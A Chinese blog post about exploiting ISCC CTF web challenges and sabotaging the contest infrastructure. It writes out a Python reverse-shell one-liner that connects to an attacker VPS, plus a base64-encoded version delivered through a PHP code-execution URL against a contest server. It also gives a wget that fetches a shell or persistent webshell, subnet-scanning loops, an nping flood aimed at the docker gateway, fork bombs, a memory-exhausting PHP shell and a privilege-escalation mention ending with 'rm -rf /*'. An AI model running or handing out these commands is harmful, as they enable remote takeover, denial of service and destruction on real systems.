前言
这篇文章主要是总结一下在ISCC中发现的存在漏洞的Web题目,这些漏洞都可以导致题目被搅屎,甚至环境被提权:),当然我在发现的第一时间上报给主办方,至于修不修复就是他们的事情了。虽然说这个比赛的题目大多都是chao的,但是拿来练手刚好。
漏洞点
漏洞一
这题题目叫做:php是世界上最好的语言,题目源代码如下:
1 |
|
可以看到这里有一个可变变量 $$a
,于是想到用 {php代码}
这种方式来执行代码,至于为什么这种方式能够执行代码(客服小哥哥问过我),参考官方手册吧: 可变变量
我发现题目环境装有python,于是打算用python反弹shell(客服在复现的时候直接使用nc发现shell会一直掉,我用python弹的shell就没掉过),代码如下:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的VPSIP",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
此时先在自己的VPS上面侦听端口:nc -lvp 端口号(和上面python代码里面的端口号一致即可)
把上面的语句用base64加密,放在下面的 base64_decode('')
单引号里面,然后访问:
1 | http://118.190.152.202:8005/no_md5.php?a={system(base64_decode('cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiYIRWUFNJUCIs7+P3KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn'))} |
访问即可回弹shell
漏洞二
这题题目叫做:php是世界上最好的语言,题目源代码如下: 请ping我的ip看你能Ping通吗?
1 |
|
绕过也很简单,如下:
由于题目限制不严格,所以可以直接用wget下载反弹shell程序或者不死马:
1 | wget http://VpsIP/iscc.txt |
如何搅屎
由于本次比赛并没有真正去搅屎,下面讨论的方法大多是整理他人的文章或者是在本机测试过的,所以只能算是yiyin搅屎了。
主机发现
linux环境
用shell脚本扫描内网,程序如下:
1 |
|
或者使用
1 | for ((i=1; i<256; i++)); |
windows环境
主机发现程序如下:
1 | for /l %i in (1,1,255) do \ |
试着扫了ISCC的内网,扫描出14个IP,应该是14个docker,刚好对应14道Web题目:
攻击网关
我想着如果要想让所有的web挂掉,那么可以通过攻击网关的方式来达成,因为比赛环境用docker,所以我们可以针对docker网关进行攻击,这样docker内的流量就出不去了,选手也就无法正常访问题目。于是乎我们可以进行arp攻击docker网络,将所有出站流量全部丢弃,或者DOS网关IP,我在ISCC的题目中发现装有nmap,那么我就可以使用命令
1 | nping --tcp-connect -rate=90000 -c 900000 -q 172.17.42.1 & |
不死马
基础知识
ignore_user_abort
1
int ignore_user_abort ([ bool $value ] )
用于设置客户端断开连接时,是否中断脚本的执行
set_time_limit
1
bool set_time_limit ( int $seconds )
用于设置允许脚本运行的最大时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini中 max_execution_time 的值。如果设置为0,没有时间方面的限制。当此函数被调用时,set_time_limit()会从零开始重新启动超时计数器。换句话说,如果超时默认是30秒,在脚本运行了了25秒时调用 set_time_limit(20) ,那么脚本在超时之前可运行总时间为45秒。
1 |
|
这个脚本说是执行的后内存爆炸,phpGG了,严重点的话,Docker也GG。但我问过作者,他也没试过,只是夸张的说辞。然后我修改了一些,就在在while的最后一行再把生成的新文件include进来,效果会好一些,但是达到PHP内存上限时,PHP程序会终止运行。
资源耗尽
linux环境
1 | :(){ :|: & };: |
windows环境
1 | %0 | %0 |
提权
最后想试试提权,一开始用 CVE-2017-1000112 提权失败,然后朋友用 upstream44.c 成功提权,如下:
权限大了,你想怎么玩都可以(rm -rf /*)。最后建议大家看一下下面的相关链接,有些内容还是很有趣的,包括youtube上老外耗尽主机资源的视屏以及主办方们的防搅屎思路,都值得借鉴、学习。
相关链接
Trying out some Deadly Linux Commands part 1